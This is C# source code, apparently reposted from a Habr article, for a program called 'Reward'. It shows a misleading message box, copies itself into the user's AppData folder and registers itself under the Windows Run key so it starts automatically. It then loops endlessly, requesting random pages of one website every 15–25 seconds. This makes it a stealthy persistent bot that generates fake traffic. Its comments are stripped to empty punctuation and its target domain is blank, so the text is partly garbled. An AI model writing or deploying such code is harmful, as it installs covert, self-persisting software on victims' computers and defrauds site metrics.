class RandomBrowser { private readonly WebClient Downoader = new WebClient(); private readonly Random Randomizer = new Random(); // , public readonly String DomainName; public readonly String DomainPage; // , // public String NextUrl { private set; get; } // NextUrl public void Request() { try { // // String.GetHtmlLinks List<String> links = Downoader.DownloadString(NextUrl).GetHtmlLinks(DomainName); // , , // NextUrl = links.Count > 0 ? links[Randomizer.Next(links.Count)] : DomainPage; } // // catch (Exception) { NextUrl = DomainPage; } } // public RandomBrowser(String startPage) { // // String.GetDomainName DomainName = startPage?.GetDomainName(); DomainPage = @"http://www." + DomainName; NextUrl = startPage; } }
static class Extensions { // private static readonly String[] Prefixes = new String[] { "https://", "http://", "www." }; // public static String GetDomainName(this String url) { foreach (String i in Prefixes) { if (url.IndexOf(i) == 0) { url = url.Remove(0, i.Length); } } Int32 subdomain = url.IndexOf('/'); return subdomain == -1 ? url : url.Remove(subdomain); } // html- // public static List<String> GetHtmlLinks(this String page, String domainName = null) { // List<String> result = new List<String>(); Regex reHref = new Regex(@"(?inx) <a \s [^>]* href \s* = \s* (?<q> ['""] ) (?<url> [^""]+ ) \k<q> [^>]* >"); foreach (Match i in reHref.Matches(page)) { result.Add(i.Groups["url"].ToString()); } // , return domainName == null ? result : new List<String>(result.Where(i => i.GetDomainName() == domainName)); } }
class Program { static void Main() { // const String appName = "Reward"; String appDirectory = $@"{Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)}\{appName}"; const String fileName = appName + ".exe"; String filePath = $@"{appDirectory}\{fileName}"; // , RegistryKey autorun = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", true); String regValue = autorun.GetValue(appName) as String; // // (- as) // if (regValue == null || regValue != filePath) { // // : MessageBox.Show(" !", "-"); // if (!File.Exists(filePath)) { // if (!Directory.Exists(appDirectory)) { Directory.CreateDirectory(appDirectory); } // // , // , // . // , "AppData/Roaming", // String[] args = Environment.GetCommandLineArgs(); File.Copy( args.Length > 0 ? args[0] : $@"{Environment.CurrentDirectory}\{fileName}", filePath); } // autorun.SetValue(appName, filePath); // "AppData/Roaming" Process.Start(filePath); // , // return; } // : RandomBrowser browser = new RandomBrowser(@"http://www.."); Random randomizer = new Random(); while (true) { // // , // "" 15 , // Thread.Sleep(TimeSpan.FromSeconds(15 + randomizer.Next(10))); browser.Request(); } } }
Source: https://habr.com/ru/post/320996/
All Articles